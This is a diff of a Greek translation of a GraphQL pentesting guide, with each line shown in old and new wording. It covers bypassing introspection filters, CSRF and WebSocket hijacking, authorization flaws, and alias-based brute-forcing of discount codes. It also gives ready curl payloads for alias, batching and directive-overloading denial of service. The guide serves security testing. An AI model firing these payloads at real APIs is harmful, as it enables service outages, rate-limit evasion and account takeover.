Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) για να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος. Όλο και περισσότερα **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος.
Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για το GraphiQL και το Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**GraphQL entities μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?). Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Παράκαμψη αμυνών introspection του GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a> ### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές: Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες άμυνες:
```bash ```bash
# Example with newline to bypass # Example with newline to bypass
{ {
@ -412,29 +411,29 @@ file:* query
../../pentesting-web/csrf-cross-site-request-forgery.md ../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}} {{#endref}}
Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.** Εκεί έξω μπορείτε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST requests χρησιμοποιώντας το Content-Type **`application/json`**. Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας το Content-Type **`application/json`**.
```javascript ```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
``` ```
Ωστόσο, οι περισσότερες GraphQL endpoints υποστηρίζουν επίσης **`form-urlencoded` POST αιτήματα:** Ωστόσο, οι περισσότερες GraphQL τελικές σημεία υποστηρίζουν επίσης **`form-urlencoded` POST αιτήματα:**
```javascript ```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
``` ```
Ως εκ τούτου, καθώς τα αιτήματα CSRF όπως τα προηγούμενα αποστέλλονται **χωρίς προετοιμασία αιτημάτων**, είναι δυνατόν να **εκτελούνται** **αλλαγές** στο GraphQL εκμεταλλευόμενοι ένα CSRF. Ως εκ τούτου, καθώς τα αιτήματα CSRF όπως τα προηγούμενα αποστέλλονται **χωρίς προετοιμασία αιτημάτων**, είναι δυνατόν να **εκτελούνται** **αλλαγές** στο GraphQL εκμεταλλευόμενοι ένα CSRF.
Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστό σε αιτήματα GET. Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν ιστό τρίτου μέρους σε αιτήματα GET.
Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **query** **request** και ως **GET** **request** και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET request. Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.**
Επίσης, εκμεταλλευόμενοι μια [**XS-Search**](../../pentesting-web/xs-search/) **επίθεση** μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη. Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
Για περισσότερες πληροφορίες **ελέγξτε το** [**αρχικό άρθρο εδώ**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). Για περισσότερες πληροφορίες **ελέγξτε το** [**αρχικό άρθρο εδώ**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Υπαγωγή WebSocket σε GraphQL ## Υπαγωγή WebSocket σε GraphQL
Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή Cross-site WebSocket για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL. Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή WebSocket σε άλλους ιστότοπους για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.
Για περισσότερες πληροφορίες ελέγξτε: Για περισσότερες πληροφορίες ελέγξτε:
@ -446,7 +445,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Πολλές λειτουργίες GraphQL που ορίζονται στο endpoint μπορεί να ελέγχουν μόνο την αυθεντικοποίηση του αιτούντος αλλά όχι την εξουσιοδότηση. Πολλές λειτουργίες GraphQL που ορίζονται στο endpoint μπορεί να ελέγχουν μόνο την αυθεντικοποίηση του αιτούντος αλλά όχι την εξουσιοδότηση.
Η τροποποίηση των μεταβλητών εισόδου του query θα μπορούσε να οδηγήσει σε ευαίσθητες λεπτομέρειες λογαριασμού [leaked](https://hackerone.com/reports/792927). Η τροποποίηση των μεταβλητών εισόδου του ερωτήματος θα μπορούσε να οδηγήσει σε ευαίσθητες λεπτομέρειες λογαριασμού [leaked](https://hackerone.com/reports/792927).
Η μετάλλαξη θα μπορούσε ακόμη και να οδηγήσει σε κατάληψη λογαριασμού προσπαθώντας να τροποποιήσει δεδομένα άλλου λογαριασμού. Η μετάλλαξη θα μπορούσε ακόμη και να οδηγήσει σε κατάληψη λογαριασμού προσπαθώντας να τροποποιήσει δεδομένα άλλου λογαριασμού.
```javascript ```javascript
@ -466,13 +465,13 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL ## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL
Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεραστεί ο περιορισμός που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα. Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API αιτήματος. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
Για μια λεπτομερή κατανόηση των ψευδώνυμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). Για μια λεπτομερή κατανόηση των ψευδώνυμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Ενώ ο κύριος σκοπός των ψευδώνυμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού. Ενώ ο κύριος σκοπός των ψευδώνυμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP αιτημάτων**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP αίτημα, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτούν οι κωδικοί έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP request, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα. Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθεύσουν την εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP αίτημα, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
```bash ```bash
# Example of a request utilizing aliased queries to check for valid discount codes # Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) { query isValidDiscount($code: Int) {
@ -491,18 +490,18 @@ valid
### Alias Overloading ### Alias Overloading
**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη: **Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διακομιστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διακομιστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
```graphql ```graphql
# Test provided by https://github.com/dolevf/graphql-cop # Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \ curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql' 'https://example.com/graphql'
``` ```
Για να μετριαστεί αυτό, εφαρμόστε όρια στον αριθμό των ψευδωνύμων, ανάλυση πολυπλοκότητας ερωτημάτων ή περιορισμό ρυθμού για να αποτρέψετε την κακή χρήση πόρων. Για να μετριαστεί αυτό, εφαρμόστε όρια στον αριθμό των ψευδωνύμων, ανάλυση πολυπλοκότητας ερωτημάτων ή περιορισμό ρυθμού για να αποτραπεί η κακή χρήση πόρων.
### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** ### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες**
**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομάδα, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας. **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
```graphql ```graphql
# Test provided by https://github.com/dolevf/graphql-cop # Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \ curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -514,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
### **Ευπάθεια Υπερφόρτωσης Οδηγιών** ### **Ευπάθεια Υπερφόρτωσης Οδηγιών**
**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονική χρήση, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**. **Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονιακή χρήση, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
```bash ```bash
# Test provided by https://github.com/dolevf/graphql-cop # Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \ curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -522,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql' 'https://example.com/graphql'
``` ```
Σημειώστε ότι στο προηγούμενο παράδειγμα το `@aa` είναι μια προσαρμοσμένη οδηγία που **μπορεί να μην έχει δηλωθεί**. Μια κοινή οδηγία που συνήθως υπάρχει είναι **`@include`**: Σημειώστε ότι στο προηγούμενο παράδειγμα το `@aa` είναι μια προσαρμοσμένη οδηγία που **μπορεί να μην έχει δηλωθεί**. Μια κοινή οδηγία που συνήθως υπάρχει είναι η **`@include`**:
```bash ```bash
curl -X POST \ curl -X POST \
-H "Content-Type: application/json" \ -H "Content-Type: application/json" \
@ -557,7 +556,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο. - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql). - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **για να φτάσετε σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**. - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού. - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων. - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.
@ -569,7 +568,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Αυτόματοι Έλεγχοι ### Αυτόματοι Έλεγχοι
{% embed url="https://graphql-dashboard.herokuapp.com/" %} {{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
